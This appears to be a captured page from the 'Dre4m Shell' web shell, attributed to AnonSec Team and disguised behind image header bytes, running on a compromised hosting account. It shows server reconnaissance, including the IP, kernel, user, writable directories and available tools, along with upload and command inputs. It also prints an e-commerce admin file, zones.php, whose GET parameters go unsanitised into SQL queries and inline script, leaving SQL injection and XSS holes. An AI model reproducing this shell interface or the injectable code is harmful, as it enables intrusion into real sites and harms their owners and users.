ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/OLD/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/OLD/cp-admin/zones.php
<?php
include_once('includes/header.php');

if (isset($_GET['online'])) {
  $id = $_GET['online'];
  $bdd->exec("UPDATE " . $GLOBALS['db_table']['countries'] . " SET status = 1 WHERE id = $id");
  echo '<script>';
  echo 'window.location = "./zones.php?debut='. $_GET['debut'] .'"';
  echo '</script>';
}

if (isset($_GET['offline'])) {
  $id = $_GET['offline'];
  $bdd->exec("UPDATE " . $GLOBALS['db_table']['countries'] . " SET status = 0 WHERE id = $id");
  echo '<script>';
  echo 'window.location = "./zones.php?debut='. $_GET['debut'] .'"';
  echo '</script>';
}




//////////////////////////////////////////////////////////// PAGINATION
require_once('pagination_fonction.php'); 
//////////////////////////////////////////////////////////// PAGINATION

?>

<div class="container">
  <div class="row">
    <div class="span12">
      <div class="page-header">
        <h1>Gestion des zones ISO</h1>
      </div>
    </div>
  </div>
  <table class="table table-bordered table-striped">
    <thead>
      <tr>
        <th class="span1 center">N.id</th>
        <th class="span2 center">Nom</th>
        <th class="span2 center">Iso 2</th>
        <th class="span1 center">Zone Colissimo</th>
        <th class="span1 center">Zone Chronopost</th>
        
        
        <th class="span1 center">Op&eacute;rations</th>                                        
      </tr>
    </thead>
    <tbody>

      <?php
//////////////////////////////////////////////////////////// PAGINATION
    $res = $GLOBALS['bdd']->query("SELECT count(id) AS nb_total FROM countries");
    $columns = $res->fetch();
    $nb_total = $columns['nb_total'];     
      
//////////////////////////////////////////////////////////// PAGINATION
	if (!isset($_GET['debut'])) $_GET['debut'] = 0;
	$nb_affichage_par_page = 100;
//////////////////////////////////////////////////////////// PAGINATION
 
     $requete = $bdd->query("SELECT * FROM countries 
     ORDER BY localname ASC LIMIT ".$_GET['debut'].",".$nb_affichage_par_page." "); 
      if ($row = $requete->fetch()) {
        do {
          ?>

          <tr>
            <td class="span1 font12 center">
              <b><?php echo stripcslashes($row['id']) ?></b>
            </td>
            <td class="span1 font12 center">
              <b><?php echo stripcslashes($row['localname']) ?></b>
            </td>
            <td class="span1 font12 center">
              <b>
                <?php
                echo'<font color="#FF0000">' . $row['countries_iso_code_2'] .'</font>';
                ?>
              </b>
            </td>
            <td class="span1 font12 center">
             
                <?php
                echo'<font color="#FF0000">' . $row['countries_colissimo'] .'</font>';
                ?>
            </td>
            </td>
            <td class="span1 font12 center">
                <?php
                echo'<font color="#FF0000">' . $row['countries_chronopost'] .'</font>';
                ?>
            </td>
            <td class="center">
            
<?php 
             if($row['status'] == 0) { 
                echo '<a href="./zones.php?online='.$row['id'].'&debut='. $_GET['debut'] .'"><img src="assets/img/offline.png" title="Activer"></a>';
               } else { 
                echo '<a href="./zones.php?offline='.$row['id'].'&debut='. $_GET['debut'] .'"><img src="assets/img/online.png" title="Désactiver"></a>';
              } 
?>              
              &nbsp;
            </td>
          </tr>
          <?php
        }while ($row = $requete->fetch());
      } else {
        echo 'Aucune zone à afficher !!!';
      }
      ?>

    </tbody>
  </table>
  
<div class="pagin">
<?php
//////////////////////////////////////////////////////////// PAGINATION
//mysql_free_result ($requete);
  echo '<b>'.barre_navigation($nb_total, $nb_affichage_par_page, $_GET['debut'], 8).'</b>';
// on libère l'espace mémoire alloué pour cette requête
// mysql_free_result ($resultat);
//////////////////////////////////////////////////////////// PAGINATION
?>
<br /><br />
</div>
  
</div>

<?php
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team